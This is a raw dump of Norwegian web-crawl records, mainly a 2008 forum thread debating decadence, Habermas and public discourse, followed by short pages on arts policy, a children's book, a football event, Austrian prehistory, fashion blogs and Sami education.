\u00f8ve innflytelse p\u00e5 et l\u00f8nnspolitisk sp\u00f8rsm\u00e5l; ditt eget.  \n  \nForuten om digresjonen, s\u00e5 er jeg klart enig i deg at slettes ingenting er sort/hvitt. Men der samfunnet organiseres, s\u00e5 er det opp til hver enkelt \u00e5 f\u00f8lge trender og tendenser. Vi alle kan organisere oss der vi f\u00f8ler oss hjemme, og v\u00e6re med p\u00e5 \u00e5 forme organisasjonen. Om man f\u00f8ler for \u00e5 gj\u00f8re en innsats. Og det kommer da som f\u00f8lge av Ripsets innlegg; hvem gidder \u00e5 gj\u00f8re en innsats i dag? N\u00e5r det gjelder oss under 25/30, s\u00e5 er det med glede jeg kan si; Heldigvis flere.  \n  \nN\u00e5r det kommer til \"idealet\" du etterlyser, s\u00e5 lever vi i en blasert verden hvor et av landets mest sette aktualitetsprogram b\u00e6rer det blaserte navnet \"Tabloid\". Det er slik allmennheten har blitt. For tabloide. Vi bryr oss om overskrifter, men dykker ikke i materien. Vi h\u00f8rer politikeres angrep, kl\u00f8r oss i skjegget og nikker samtykkende f\u00f8r vi bytter radiokanal til passende musikk, uten \u00e5 h\u00f8re motargumentet til meningsmotstandere av angriper.  \n  \nFremdeles er jeg ikke ubetinget enig i at vi IKKE har en diskuterende offentlighet. Men\\! mye er spill for massene. Hvor g\u00e5r grensene? N\u00e5r begynner mange nok \u00e5 bry seg? Jeg har et svar til det, men jeg holder det inntil videre for meg selv.  \n  \n@ripset  \n  \nJeg t\u00f8r \u00e5 kalle meg intellektuell ;-)  \nHva stakkars politikere gjelder, s\u00e5 er ideologi og idealisme long gone. Det er egoisme og populisme som gjelder her p\u00e5 berget i dag. Litt av problemet ligger vel i de som er folkevalgte. Vi mangler Gro, K\u00e5re, Berntsen og Yngve. Det n\u00e6rmeste vi har, er Siv. Og DET er jo forklarende for en hel del.\n\n (mann 33 \u00e5r fra Oslo)  fr. 29 aug. 2008 11:59  Privat melding \n\nmrkr\u00f8lle, hyggelig \u00e5 h\u00f8re :) Jeg setter ting p\u00e5 spissen men det virker noen ganger som det er endel sannhet i de enkle observasjonene jeg har gjort meg p\u00e5 den fronten.\n\nSkjult ID med pseudonym ripset fr. 29 aug. 2008 13:24  \n\nTakk, kr\u00f8lle\\! Jeg elsker skryt\\! :)  \n  \nI natt satt jeg oppe og s\u00e5 p\u00e5 talen til Obama. Jeg gj\u00f8r meg mange tanker. Tidlegere har mange - iallfall jeg - tenkt litt negativt om hvordan politikken funker i USA; der man i s\u00e5 stor grad snakker f\u00f8lelsesspr\u00e5k, og der man kan f\u00f8lelsen av at man h\u00f8rer poesi mer enn politikk.  \n  \nMen i natt tenkte jeg annerledes. Jeg ble nemlig revet med, og da forstod jeg at Obama t\u00f8r \u00e5 TA BALLEN. Han t\u00f8r \u00e5 v\u00e6re leder. Han st\u00e5r ikke bare og gir l\u00f8fter til velgerne, men han snakker om hva \"VI\" skal gj\u00f8re sammen.Han sa \"this is not about me. It\u00b4s about YOU\". Og som tilh\u00f8rer kjente jeg kraften i ordene hans, selv om jeg ogs\u00e5 forst\u00e5r at ikke hvem som helst kunne sagt det samme med overbevisning. Han ansvarliggj\u00f8r folk og gir lytteren lyst til \u00e5 v\u00e6re med \u00e5 bidra. DET er \u00e5 v\u00e6re leder. I jantelandet Norge er det f\u00e5, om noen, som g\u00e5r inn i den rollen der. Fordi skal man gj\u00f8re det, m\u00e5 man anerkjenne at man har stor posisjon, tror jeg. Nordmenn er redde for det. Men Gud, s\u00e5 viktig og bra det er\\! Karisma ER kanskje viktigere for en politiker enn jeg har trodd. P\u00e5 samme m\u00e5te som at en god taler snakker B\u00c5DE til hodet og hjertet. For en karismatisk leder - som t\u00f8r \u00e5 fylle sin egen rolle\\! - kan gi folk h\u00e5p, inspirasjon, vilje, optimisme, p\u00e5gangskraft. DET er ikke dekadanse. Det er er liv\\!  \n  \n:)\n\nSkjult ID med pseudonym ripset fr. 29 aug. 2008 13:27  \nOg i demokratiet her hjemme er vi for opptatt av at politikerne skal gjenspeile folkets mening, synes jeg. Jeg savner politikere og andre rollemodeller (\\!) som t\u00f8r \u00e5 sette en standard, og som sender ballen tilbake til folket. Etter \u00e5 ha tatt den selv, alts\u00e5. For \u00e5 holde p\u00e5 ball-metaforen....\n\nSkjult ID med pseudonym The Rock fr. 29 aug. 2008 14:27  \n\nLitt off-topic.  \n  \nripset skriver: \"Hva er det vi lengter etter? Hva er det som beveger oss?\"  \n  \nJeg tror jeg lengter etter en jente som deg og du hadde nok f\u00e5tt meg til \u00e5 bevege meg litt mer ;) :)\n\nSkjult ID med pseudonym Sukkrates fr. 29 aug. 2008 17:52  \n\n@mann 25  \n  \nOk, f\u00f8ler jeg m\u00e5 forklare n\u00e6rmere. Hvis vi to diskuterer en sak s\u00e5 b\u00f8r det v\u00e6re slik at vi er \u00e5pne til \u00e5 skifte standpunkt hvis vi m\u00f8ter bedre argumenter, ikke sant? Hvis jeg mener at alle f\u00e5r klare seg p\u00e5 egenh\u00e5nd, og du sier at det er for enkelt fordi det finnes mange i et samfunn som har problemer med \u00e5 ta vare p\u00e5 seg selv. Du underbygger din p\u00e5stand med \u00e5 peke p\u00e5 kronisk syke, personer med downs osv. For disse b\u00f8r det v\u00e6re st\u00f8ttende fellesskapsordninger, sier du. Hvis jeg innser at du har et poeng b\u00f8r jeg v\u00e6re \u00e6rlig nok til \u00e5 skifte standpunkt, eller hva?  \n  \nDet samme m\u00e5 gjelde for deltagere i offentligheten. Her kommer s\u00e5 poenget til Habermas til syne: Debattantene i offentligheten gj\u00f8r aldri det\\! Jeg har aldri h\u00f8rt noen si: du har rett jeg skifter standpunkt. Grunnen til det er at vi har en offentlighet som kun fremviser standpunkter, man diskuterer dem aldri. Diskuterer du s\u00e5 utsetter du dine egne argumenter for kritisk blikk og m\u00e5 v\u00e6re villig til \u00e5 endre dem. Organisasjoner fremviser sine standpunkt p\u00e5 vegne av sine medlemmer eller velgere. Representantene i offentligheten har ikke \"lov\" til \u00e5 endre standpunkt fordi de representerer beslutninger som er tatt utenfor offentligheten. Erna vil aldri si til Jens (selv om hun er 100 % overbevist om at hun har feil): du har rett, jeg endrer H\u00f8yres politikk p\u00e5 dette omr\u00e5det.  \n  \nOffentligheten burde v\u00e6re en plass hvor de beste argumentene var rettledende, ikke hvem som har det beste tv-trynet.\n\nSkjult ID med pseudonym ripset l\u00f8. 30 aug. 2008 00:14  \n\nEnig, Sukkrates. Det gjelder \u00e5 ta standpunkt p\u00e5 sviktende grunnlag, og samtidig anerkjenne at grunnlaget er sviktende, og s\u00e5 forandre standpunktet hvis det sviktende grunnlaget forandrer seg og gj\u00f8r at man heller i ny retning.\n\nSkjult ID med pseudonym agusta72 l\u00f8. 30 aug. 2008 00:41  \n\nTror vel egentlig litt at et sviktende grunnlag, for et dertil anerkjennende substitutt for borgerlig snert, med et sosialdemokratisk ytre- indreliggende sosialistisk, dog kanskje kapitalistisk, men endog et engasjert og enkelt sinnrikt vesenstruktur, som mangt tasser rundt i livets mangfoldige realistiske ((anti) kanskje) surrealistiske konjunkturengasjerte lissomkuuuuuule str\u00e5lende vesener kan tenke seg til at en f\u00e5r leve livet sitt p\u00e5 sine egne premisser, fjernt fra andres enkle og avanserte tenkende konstruksjoner, gjerne nyansert, men allikevel slik en selv vil, bare det ikke koster fletta for andre i v\u00e5r vakre verden, slik vi vil ha den, fordi..........  \n.......vi er visst forskjellige.(avsporing) Ulike mennesker kan ikke behandles likt\\!  \n  \nUlike mennesker kan ikke behandles likt\\! ....smart\u00e6\u00e6s\n\nSkjult ID med pseudonym Zitelle l\u00f8. 30 aug. 2008 00:43  \n\nLer\\!\n\nSkjult ID med pseudonym Sukkrates l\u00f8. 30 aug. 2008 12:16  \n\n@augusta72  \n  \nDet virker som du er litt forvirret. : )  \n  \nUlike mennesker kan i de fleste sammenhenger behandles likt. Selv om jeg er feit og du tynn s\u00e5 m\u00e5 vi begge betale skatt, l\u00e5n, sone fengselstraff, osv.\n\nSkjult ID med pseudonym ripset l\u00f8. 30 aug. 2008 18:25  \n\nMener du \u00e5 si at dekadanse er deprimerende for noen, men helmax for andre?\n\nSkjult ID med pseudonym Mann 25 l\u00f8. 30 aug. 2008 18:49  \n\nSer ut til at jeg b\u00f8r melde meg ut av debatten til feberen slipper taket og jeg klarer \u00e5 formulere meg s\u00e5 jeg i det minste blir misforst\u00e5tt riktig.. :-p  \n  \n@sukkrates: Politiske partier med motstridende (ideal- og verdi-)syn vil aldri endre standpunkt p\u00e5 bakgrunn av argument som kommer fra en fundamentalt uenig motpart. Hva Habermas ang\u00e5r vil politikere aldri v\u00e6re enige eller skifte partipolitisk standpunkt som f\u00f8lge av motparts agrumenter. Det eneste v\u00e5re og andre lands valgte leder kan n\u00e6rmere seg av gjensidig forst\u00e5else er deres egen tro om at de vet hva som er best styresett \u00e5 f\u00f8re..  \n  \nInntil Fru Fluensa slipper tak, s\u00e5 tar jeg noen diskusjonsfrie dager med mindre intellektuell underholdning og lar humla suse litt til mens \u00e5rstiden enda tillater det.. (\",)\n\nSkjult ID med pseudonym ripset l\u00f8. 30 aug. 2008 20:12  \n\nkom igjen mann 25. Influensa er for pyser. Du klarer litt til\\!  \n  \n(hilsen ripset, som synes det er g\u00f8y at tr\u00e5den fortsatt lever)\n\nSkjult ID med pseudonym Sukkrates s\u00f8. 31 aug. 2008 02:24  \n\n@mann25  \n  \nJa, og hvis de ikke er villige til \u00e5 endre standpunkt, hva har vi da????? EN IKKE-DISKUTERENDE OFFENTLIGHET\\!\\!\\!\n\nSkjult ID med pseudonym Organ s\u00f8. 31 aug. 2008 02:35  \n\nJeg m\u00e5 si at det er med alt annet enn glede jeg konstaterer at Sukkrates i mine \u00f8yne er inne p\u00e5 noe vesentlig.\n\nSkjult ID med pseudonym ripset s\u00f8. 31 aug. 2008 02:40  \n\nJa. Men hvis man ser p\u00e5 summen av ytringer i det offentlige rom, og hvis dette er et bilde p\u00e5 hva som beveger seg, s\u00e5 er det jo bevegelse. For summen er i endring hele tiden. For eksempel, da Magnus Marsdal gav ut \"Frp-koden\", satte denne mye av standarden (\\!?) for hvordan Frp ble diskutert etterp\u00e5. Og Hege Storhaug sine utspill har jo ogs\u00e5 preget debatten om innvandring, p\u00e5 godt og (heller mest) vondt. S\u00e5 i sum, er jo den offentlige debatt i bevegelse. Eller?\n\nSkjult ID med pseudonym Polita s\u00f8. 31 aug. 2008 10:36  \n\nDet finnes jo s\u00e5 lite idealisme og vyer i gjen i politikken i Norge. N\u00e5r v\u00e5re politikere skriver bok, er det vel sjeldent om politikk p\u00e5 ideniv\u00e5.. Ikke kom og si at \"Det norske hus\" eller verdikommisjonen er uttrykk for vyer. Det meste av s\u00e5nne stunts handler om stemmesanking - neppe noe polikerene selv som har funnet p\u00e5...  \n  \nDet er riktig som mann25 sier - at du vil ALDRI se noen bli overbevist av en motparts argumenter p\u00e5 TV. Aldri h\u00f8re noen si: Den biten hadde jeg ikke tenkt p\u00e5. osv. Derfor Sukkrates, har vi ikke en diskuterende debatt i det offenlige rom i Norge. Vi har mennesker som gi uttrykk for sitt partis politiske syn, og de st\u00e5r bare tilfeldigvis i samme rom. N\u00e5r de sier det samme som f\u00f8r. Om og om igjen.  \n  \nJeg er enig det ripset sier om karisima. Dersom man virkelig tror p\u00e5 noe og har vyer, samt er smart og talef\u00f8r med et snev av humor, s\u00e5 er det noen som kunne n\u00e5dd langt i Norge som politikere. Forl\u00f8pig er det f\u00e5 som t\u00f8r pr\u00f8ve. Og s\u00e5nn sett er det f\u00e5 som egner seg som ledere som kan inspirere velgerne.\n\n (mann 51 \u00e5r fra Oslo)  s\u00f8. 31 aug. 2008 10:41  Privat melding \n\nPolita, det at debatten ikke er debatt, men kun presentasjon av allerede fattede beslutninger er sukkrates (og Habermas) poeng.  \n  \nHovedgrunnen til at jeg ikke er helt enig i det, er tilfeller der blogger og videoer p\u00e5 nett kan endre dagsorden. Eksempelvis katastrofen i Burma og protestene i Tibet for en tid tilbake.\n\nSkjult ID med pseudonym Sukkrates s\u00f8. 31 aug. 2008 15:12  \n\nJ\u00f8sses\\! Jeg trodde at dette var rimelig enkle greier, jeg. Er det jeg som er d\u00e5rlig til \u00e5 forklare??  \n  \nSkulle h\u00f8rt p\u00e5 r\u00e5det ditt kit, n\u00e5 har jeg snart ikke mer h\u00e5r p\u00e5 hodet. : )\n\nSkjult ID med pseudonym ripset s\u00f8. 31 aug. 2008 16:13  \n\nJo men Sukkrates\\! vi lever jo din egen teori, da\\! Eller habermas sin. Det at vi har motforestillinger, betyr vel ikke at vi ikke forst\u00e5r hva du mener\\! Eller? Er jeg dum? Er det s\u00e5nn at hvis vi forst\u00e5r hva du sier, s\u00e5 er vi automatisk enige?  \n  \nMen jeg tror du og habermas har rett, men jeg tror ogs\u00e5 at kit har rett i at ... vel, som jeg sa det selv - at summen av mening der ute forandrer seg jo. Men s\u00e5nne endringer g\u00e5r vel ofte litt tregt. Eller kanskje ikke, forresten.... s\u00e5nn som n\u00e5r noen bomber twin towers eller s\u00e5nn som n\u00e5r ....  \n  \nMen det jeg lurer p\u00e5 (n\u00e5 tenker og skriver jeg hakkete her\\!) er - hvor ofte er det at noen kommer med et utspill eller en tanke i ofttenligheten, som gj\u00f8r at meningsdannelsen i samfunnet gj\u00f8r en kraftig snu? for DET skjer jo, jfr FRP-koden.\n\nSkjult ID med pseudonym Sukkrates s\u00f8. 31 aug. 2008 16:34  \n\nRipset  \n  \nDet handler om \u00e5 forst\u00e5 logikken i teorien, og s\u00e5 kan man v\u00e6re enig eller uenig s\u00e5 mye man vil. Det er bare litt frustrerende n\u00e5r det \u00e5penbares gang p\u00e5 gang at de som svarer ikke har forst\u00e5tt hva som er blitt sagt.  \n  \nJeg synes det er en klargj\u00f8rende teori som det er nyttig \u00e5 bruke som et verkt\u00f8y, men jeg er ikke uten innvendinger. Tror mer p\u00e5 postmoderne tiln\u00e6rminger hvor opplysning- og fornuftstradisjoner bare blir en del av flere andre perspektiver. Man kan ikke forvente at kraften i det beste argument, eller fornuften, skal kunne l\u00f8se fundamentale motsetninger mellom ulike verdensbilder.  \n  \nTror vel at eksemplene med Youtube og blogger bare er med p\u00e5 \u00e5 understreke det demokratiske underskuddet og den perverterte debatten i de tradisjonelle offentlige rom.\n\nSkjult ID med pseudonym Sukkrates s\u00f8. 31 aug. 2008 19:16  \n\nKan anbefale Neil Postman's \"Vi morer oss til d\u00f8de\". Tankevekkende modernitetskritikk, uten \u00e5 v\u00e6re vanskelig. : )\n\nSkjult ID med pseudonym Sukkrates s\u00f8. 31 aug. 2008 21:08  \n\nHvis du er skikkelig sint og lei kan du kanskje lese Adorno og Horkheimer \"Kulturindustri\".\n\nSkjult ID med pseudonym XTC fr. 5 sep. 2008 18:49  \n\n@TS  \n  \nDu \u00e5penbarer at du egentlig ikke skj\u00f8nner hva du begir deg ut p\u00e5. Du er lei og frustrert av at andre bare nyter livet, hvilket betyr at du ikke klarer \u00e5 nyte livet selv. Noe som avsl\u00f8rer at du egentlig er opptatt av akkurat det samme selv, nemlig nytelse.  \n  \nSkjult ID med pseudonym ripset l\u00f8. 6 sep. 2008 04:28  \n\nJa, selvf\u00f8lgelig har du rett, XTC, jeg er dekadent selv. Jeg later vel ikke som noe annet. Og det man misliker i seg selv, misliker man jo lett n\u00e5r man ser det i andre ogs\u00e5. S\u00e5 du har rett.  \n  \nLike fullt mener jeg at jeg og de fleste av oss har en jobb \u00e5 gj\u00f8re, n\u00e5r det gjelder \u00e5 t\u00f8rre \u00e5 anerkjenne b\u00e5de hva som faktisk ER vanskelig, hva som ikke er det, hva som er flukt og billige l\u00f8sninger p\u00e5 hele greia OG:  \n  \nJeg tror vi og verden ville blitt rikere hvis vi hadde baller nok til \u00e5 anerkjenne oss selv som de ressurspersonene vi er. Hvis vi hadde baller nok til \u00e5 t\u00f8rre \u00e5 v\u00e6re de vi kan v\u00e6re hvis vi bare t\u00f8r. OG s\u00e5, etter det, skal vi storme ut, selvf\u00f8lgelig, og redde verden.  \n  \nGod natt.\n\nSkjult ID med pseudonym Xradon fr. 12 des. 2008 19:12  \n\nFy fader jeg er enig med TS.  \n  \nFolk surrer som faxx p\u00e5 slike steder. Derfor finner dere ingen og begynn pokker \u00e5 lete etter hverandre i stedet for \u00e5 sette betingelser. Det \u00f8delegger absolutt alt. H\u00e5per dere skj\u00f8nner dette og l\u00e6r p\u00e5 det. Ellers er du d\u00f8mt til evig singelliv.\n\n", "language": "no", "__index_level_0__": "c1f86fc8-5152-4f9e-9d92-7e1a8bd1d5ef"}
{"url": "http://scenograf.no/?p=1143", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:47:08Z", "text": "## Kunstens autonomi og kunstens \u00f8konomi\n\nOnsdag 28.januar ble rapporten Kunstens autonomi og kunstens \u00f8konomi lagt fram av kulturminister Thorhild Widvey.\n\nHer er noen av konklusjonene som gjelder scenekunstfeltet.\u00a0Av Anette Therese Pettersen\n\n", "language": "no", "__index_level_0__": "3d8549e7-514d-46a0-8fed-7f5438b709fa"}
{"url": "https://www.notabene.no/Syne-og-Kananela-i-Uganda", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:42:31Z", "text": "1.  1\\. Sjekk at du har valgt riktig butikk fra menyen, legg inn din e-postadresse og trykk p\u00e5 \"OK\" knappen.\n2.  2\\. Du f\u00e5r en bekreftelse fra butikken p\u00e5 e-post i l\u00f8pet av en time om varen er tilgjengelig for opphenting. Vent til du f\u00e5r meldingen f\u00f8r du reiser til butikken. Vi holder av varen for deg i 24 timer.\n3.  3\\. Du betaler i butikken.\n\n### Takk for reservasjonen\\!\n\nI butikkens \u00e5pningstider f\u00e5r du tilbakemelding p\u00e5 e-post innen en time.  \n  \nUtenom butikkens \u00e5pningstider vil du f\u00e5 tilbakemelding p\u00e5 e-post senest en time etter at butikken har \u00e5pnet.  \n  \nHar du sp\u00f8rsm\u00e5l om tjenesten kan du ta kontakt med v\u00e5rt kundesenter.  \n  \nBlant Afrikas ville dyr I denne fjerde boka om Syne og Kananela m\u00f8ter vi de to venninnene langt nord i Uganda, n\u00e6r verdens lengste elv. Her skaper Nilen de mektige fossene, Murchison Falls, f\u00f8r den vandrer videre mil etter mil mot Middelhavet. Om natta h\u00f8rer de flodhestene utenfor hytta, og om dagen seiler de p\u00e5 Nilen blant flodhester og krokodiller. Inne i den store nasjonalparken, hjemmet til de store villdyrene, m\u00f8ter de, blant mange, mange andre ville dyr, en l\u00f8vemor med tre sm\u00e5 unger. Men tilbake til hovedstaden Kampala, s\u00f8r i landet, ligger et viktig oppdrag og venter. Klarer de \u00e5 l\u00f8se det?\n\nBlant Afrikas ville dyr I denne fjerde boka om Syne og Kananela m\u00f8ter vi de to venninnene langt nord i Uganda, n\u00e6r verdens lengste elv. Her skaper Nilen de mektige fossene, Murchison Falls, f\u00f8r den vandrer videre mil etter mil mot Middelhavet. Om natta h\u00f8rer de flodhestene utenfor hytta, og om dagen seiler de p\u00e5 Nilen blant flodhester og krokodiller. Inne i den store nasjonalparken, hjemmet til de store villdyrene, m\u00f8ter de, blant mange, mange andre ville dyr, en l\u00f8vemor med tre sm\u00e5 unger. Men tilbake til hovedstaden Kampala, s\u00f8r i landet, ligger et viktig oppdrag og venter. Klarer de \u00e5 l\u00f8se det?\n\n**Detaljer**\n\nInterest age- from c 6 years\n\n", "language": "no", "__index_level_0__": "584a5e7e-22b0-4068-a060-11e457f21fc9"}
{"url": "https://byendin.no/arrangementer/9goX9.norge-vs-malta-over-2-plan", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:15:13Z", "text": "# Norge Vs Malta over 2 plan\\!\n\n\n\n## **Tider\n\n  - L\u00f8rdag 10. oktober 2015, fra 18:00\n\n## **Billetter\n\nDa er det klart for et av to sinnsykt viktige kamper for Norge\\!\n\nF\u00f8rst ut er Malta for et utsolgt Ullev\u00e5l\\!  \nHimmel & Hav sender kampen i begge etasjer med full lyd p\u00e5 hver sin storskjerm.\n\nFotball er mer spennede med andre, s\u00e5 bli med \u00e5 lag en folkefest hos oss.  \nVi har rabbatert EM-meny for anledningen.\n\nAvspark kl 18.00\n\n'Velkommen\n\n", "language": "no", "__index_level_0__": "3416c71f-99f8-4baf-b430-85cb4e1f4789"}
{"url": "https://snl.no/%C3%98sterrikes_forhistorie", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:46:59Z", "text": "# \u00d8sterrikes forhistorie\n\nDe eldste funn fra f\u00f8rhistorisk tid i \u00d8sterrike er hulefunn av Moust\u00e9rien-karakter. Noe yngre er boplasser fra Aurignacien-perioden. Disse er konsentrert til l\u00f8ssomr\u00e5dene. Yngre steinalder (neolittisk tid) defineres ved innf\u00f8ringen av jordbruket. Fra da av kommer \u00d8sterrikes rolle som gjennomgangsland klart frem i det arkeologiske materialet. B\u00e5ndkeramiske grupper som kom fra s\u00f8r\u00f8st, representerer de f\u00f8rste bondekulturene. De eldste kjente kobbergjenstander opptrer i den noe yngre Traktbegerkulturen. \u00d8sterrike har rike metallforekomster, og kobberleiene i de salzburgsk-tirolske Alper ble viktige alt i tidlig metalltid. Tallrike funn fra bronsealderen vitner om at \u00d8sterrike h\u00f8rte til en stor mellomeuropeisk kulturkrets. Imidlertid har denne kulturen ikke et helt enhetlig preg, og mange ulike kulturgrupper kan etterspores.\n\nFunnstedet Hallstatt n\u00e6r Salzburg er et av de viktigste fra sen bronsealder og tidlig jernalder. P\u00e5 grunn av funnene fra gravplassen (ca. 3000 graver) er Hallstatt kommet til \u00e5 spille en helt sentral rolle i europeisk kronologi. Hallstatt A og B representerer s\u00e5ledes sen bronsealder mens jernalderen i Mellom-Europa innledes med Hallstatt C. Rikdommen som gravene i Hallstatt vitner om, skriver seg fra eksport og handel med salt. I denne perioden bodde menneskene i befestede landsbyer. Samfunnet har v\u00e6rt lagdelt, og herskerklassen har ofte f\u00e5tt fyrstelige gravlegginger. Det har v\u00e6rt en livlig kontakt med middelhavsomr\u00e5det. Ca. 500 f.Kr. blir den s\u00e5kalte Hallstatt-kulturen avl\u00f8st av La T\u00e8ne-kulturen. Dette er satt i forbindelse med innvandring av keltiske stammer.\n\n## Oldtid og middelalder\n\nRomerne la under seg landet s\u00f8r for Donau 16\u201315 f.Kr. og opprettet milit\u00e6rkolonier, bl.a. Vindobona (Wien). Provinser som dekket eller ber\u00f8rte \u00f8sterriksk omr\u00e5de, var\u00a0Raetia, Noricum og\u00a0Pannonia.\n\n", "language": "no", "__index_level_0__": "abaeab25-39fb-4b83-af19-9a45a86f53d2"}
{"url": "http://ericakvam.no/sushi-night/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:49:11Z", "text": "\u00c5\u00e5\u00e5eee elsker Mai og Trondheim p\u00e5 sitt beste\u00a0\u2665 Kan ikke klage p\u00e5 en s\u00e5dan mandag med sushi-munch i godt lag\\!\\! Genseren min finner dere\u00a0**HER.\u00a0***Koden ERICAK15 gir dere -15% p\u00e5 et kj\u00f8p p\u00e5 Junkyard om dere handler for over 500kr\\!\\!\u00a0De har masssse snexy, s\u00e5 det er bare \u00e5 forsyne seg*\n\n**TILBAKE TIL MANDAGSKOS \u2013 noe som er d\u00f8dsdeilig etter en ellers travel dag hvor jeg har gjort unna masse kjedegreier\u00a0\u2665 Klem og kos til fine dere**\n\n## Kommentarer (17)\n\n    \n    \n    **Wicky** sier:\n    \n    29\\. mai 2017, kl. 22:10\n    \n    why you so cute\\!\n    \n    **Kamilla** sier:\n    \n    29\\. mai 2017, kl. 22:13\n    \n    Har du g\u00e5tt ned i vekt? your face seems weak\n    \n    \n    \n    **Hege Kristin** sier:\n    \n    29\\. mai 2017, kl. 22:16\n    \n    fine bilder av deg \\<3\n    \n    \n    \n    **erica mohn kvam** sier:\n    \n    29\\. mai 2017, kl. 22:34\n    \n    silje: ja kommer denne uka\\!\\!\n    \n    \n    \n    **Caroline Torkelsen** sier:\n    \n    29\\. mai 2017, kl. 22:34\n    \n    Det s\u00e5 jo egentlig bare utrolig godt ut\\! Og s\u00e5 nydelige bilder av deg ogs\u00e5 da\\!\n    \n    \n    \n    **Lilli** sier:\n    \n    29\\. mai 2017, kl. 22:39\n    \n    S\u00e5 herlig \ud83d\ude42\n    \n    \n    \n    **Hannah** sier:\n    \n    29\\. mai 2017, kl. 22:48\n    \n    Fletter du deg slik selv? Sykt fine\\!\\<3\n    \n    \n    \n    **erica mohn kvam** sier:\n    \n    29\\. mai 2017, kl. 22:48\n    \n    Hannah: neei.. har ikke sjangs selv hahha\n    \n    **Maria Iselin** sier:\n    \n    29\\. mai 2017, kl. 22:50\n    \n    Du er det vakreste mennesket som fins\n    \n    \n    \n    **Jeffrey** sier:\n    \n    29\\. mai 2017, kl. 22:59\n    \n    S\u00e5 koselig.H\u00e5ret ditt er veldig vakkert.\n    \n    \n    \n    **Sandra** sier:\n    \n    29\\. mai 2017, kl. 23:08\n    \n    but sminke video??? \ud83d\ude41\n    \n    \n    \n    **Ariana** sier:\n    \n    29\\. mai 2017, kl. 23:34\n    \n    Seri\u00f8st Erica er det du som er denne servit\u00f8ren http://no.newsner.com/moren-ammer-barnet-sitt-pa-kafeen-da-etterlater-den-fremmede-en-lapp-som-rorer-henne-til-tarer/handle-om/nyheter alts\u00e5 det er den beste artikkelen jeg har lest p\u00e5 lenge og den lappen p\u00e5 bildet i artikkelen (skrevet av servit\u00f8ren/Erica) s\u00e5 det ut som det var du som skrev haha \ud83d\ude00 Og servit\u00f8ren heter ogs\u00e5 Erica\\! Alts\u00e5 det her m\u00e5 v\u00e6re en tilfeldighet? Om du leser hele artikkelen s\u00e5 skj\u00f8nner du hva jeg mener haha you're da real Queen we need more Girl Power \ud83d\ude00\n    \n    \n    \n    **Morten** sier:\n    \n    29\\. mai 2017, kl. 23:51\n    \n    Hvordan f\u00f8les det at Astrid S har etterlignet deg p\u00e5 Snapchat? \ud83d\ude42\n    \n    \n    \n    **erica mohn kvam** sier:\n    \n    29\\. mai 2017, kl. 23:56\n    \n    Morten: hahaha luuvs her, og det var p\u00e5 tide at hun la ut videoene cuz they amazing\n    \n    \n    \n    **Marit** sier:\n    \n    30\\. mai 2017, kl. 17:09\n    \n    Den sushien s\u00e5 digg ut\\!\\! Hvor kj\u00f8per du god takeaway-sushi i Trondheim?\n    \n    \n    **erica mohn kvam** sier:\n    \n    30\\. mai 2017, kl. 17:45\n    \n    Marit: dette var fra sushi bar \\<3 sushi bar & sabrura er nammiiiss\n    \n", "language": "no", "__index_level_0__": "0f32470c-7c8d-40fb-b724-383c1c65f957"}
{"url": "http://siriano.blogg.no/1308312248_lite_innkjp_gina_tric.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:20:45Z", "text": "## Lite Innkj\u0159p: Gina Tricot\n\nKj\u0159pte ikke mye i g\u013ar, selv om jeg pr\u0159vde utrolig mange plagg.. Kl\u0107rne ser liksom veldig fine ut p\u013a stativene, men blir ikke like fine p\u013a, litt trist egentlig  \n  \nMen jeg kj\u0159pte en knallrosa genser som f\u0159lger colorblocking-trenden, og et high-wasted skj\u0159rt som kind of f\u0159lger tribal-trenden.  \n  \n  \n  \n  \n  \nN\u013a skal jeg ikke kj\u0159pe noe mer f\u0159r jeg reiser\\!  \n\n\n", "language": "no", "__index_level_0__": "9c81cf9a-747c-4525-8acb-ce6f40565c7e"}
{"url": "https://www.regjeringen.no/no/dokumenter/nasjonal-rekrutteringsstrategi-for-samis/id661129/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:51:41Z", "text": "# Nasjonal rekrutteringsstrategi for samisk h\u00f8yere utdanning\n\nRapport | Dato: 20.10.2011  | Kunnskapsdepartementet \n\nKunnskapsdepartementet ga i brev av 09.07. 09 Samisk h\u00f8gskole i oppdrag \u00e5 opprette, lede og forest\u00e5 sekretariatsfunksjonen for en nasjonal arbeidsgruppe med siktem\u00e5l \u00e5 utarbeide en strategi for rekruttering til samisk h\u00f8yere utdanning, med s\u00e6rlig vekt p\u00e5 samisk l\u00e6rerutdanning og samiske spr\u00e5k. Arbeidet er gjennomf\u00f8rt og forslaget til strategi ble sendt p\u00e5 h\u00f8ring. Strategien er vedtatt av statsr\u00e5den og ble lagt frem i samarbeidsm\u00f8tet med Sametinget p\u00e5 Samisk H\u00f8gskole 15.03.11.\n\nKunnskapsdepartementet ga i brev av 09.07. 09 Samisk h\u00f8gskole i oppdrag \u00e5 opprette, lede og forest\u00e5 sekretariatsfunksjonen for en nasjonal arbeidsgruppe med siktem\u00e5l \u00e5 utarbeide en strategi for rekruttering til samisk h\u00f8yere utdanning, med s\u00e6rlig vekt p\u00e5 samisk l\u00e6rerutdanning og samiske spr\u00e5k. Arbeidet er gjennomf\u00f8rt og forslaget til strategi ble sendt p\u00e5 h\u00f8ring. Strategien er vedtatt av statsr\u00e5den og ble lagt frem i samarbeidsm\u00f8tet med Sametinget p\u00e5 Samisk H\u00f8gskole 15.03.11.  \n\n", "language": "no", "__index_level_0__": 